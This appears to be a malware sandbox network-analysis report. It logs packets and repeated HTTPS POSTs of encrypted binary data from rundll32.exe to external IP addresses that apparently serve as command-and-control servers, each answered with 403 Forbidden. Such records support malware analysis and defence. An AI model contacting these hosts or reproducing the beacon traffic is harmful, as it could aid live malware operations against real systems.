Oct 28, 2021 05:06:40.257872105 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.257889986 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.257905006 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.257956028 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.331450939 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.331629992 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.331718922 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.332145929 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.335139990 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.335238934 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.496375084 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.499119997 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.499161005 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.499255896 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.632204056 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.632226944 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.632441044 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.632489920 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.634808064 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.755702019 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:40.794815063 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.879239082 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.879275084 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.879388094 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.888644934 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.921178102 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:40.921459913 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:40.922118902 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:40.996722937 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.052701950 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:41.087403059 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.087460041 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.087640047 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.088042021 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.089762926 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.089939117 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.162131071 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.162321091 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.162786961 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.255037069 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.255068064 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.255079985 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.328051090 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.328105927 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.328347921 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.328767061 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.330395937 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.330482960 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.495654106 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.495678902 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.495687008 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.632987976 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.633011103 CEST	6891	50160	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.633152962 CEST	50160	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.877645016 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.877676010 CEST	6891	50161	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:41.877784014 CEST	50161	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:41.877818108 CEST	50161	6891	192.168.2.3	45.77.0.96

HTTP Request Dependency Graph

192.46.210.220

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49744	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:46 UTC	0	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:46 UTC	0	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:46 UTC	4	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49747	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:48 UTC	4	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:48 UTC	5	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:49 UTC	9	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49786	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:09 UTC	49	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:09 UTC	49	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:09 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49788	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:09 UTC	54	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:09 UTC	54	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:10 UTC	59	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49794	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:13 UTC	59	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:13 UTC	59	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:13 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49796	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:13 UTC	64	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:13 UTC	64	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:14 UTC	69	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49802	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:17 UTC	69	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:17 UTC	69	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:17 UTC	73	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49804	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:17 UTC	74	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:17 UTC	74	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:18 UTC	78	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49812	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:21 UTC	79	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:21 UTC	79	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:21 UTC	88	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49814	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:21 UTC	83	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:21 UTC	83	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:22 UTC	88	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49822	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:24 UTC	88	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:24 UTC	89	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:25 UTC	93	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49824	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:25 UTC	93	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:25 UTC	94	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
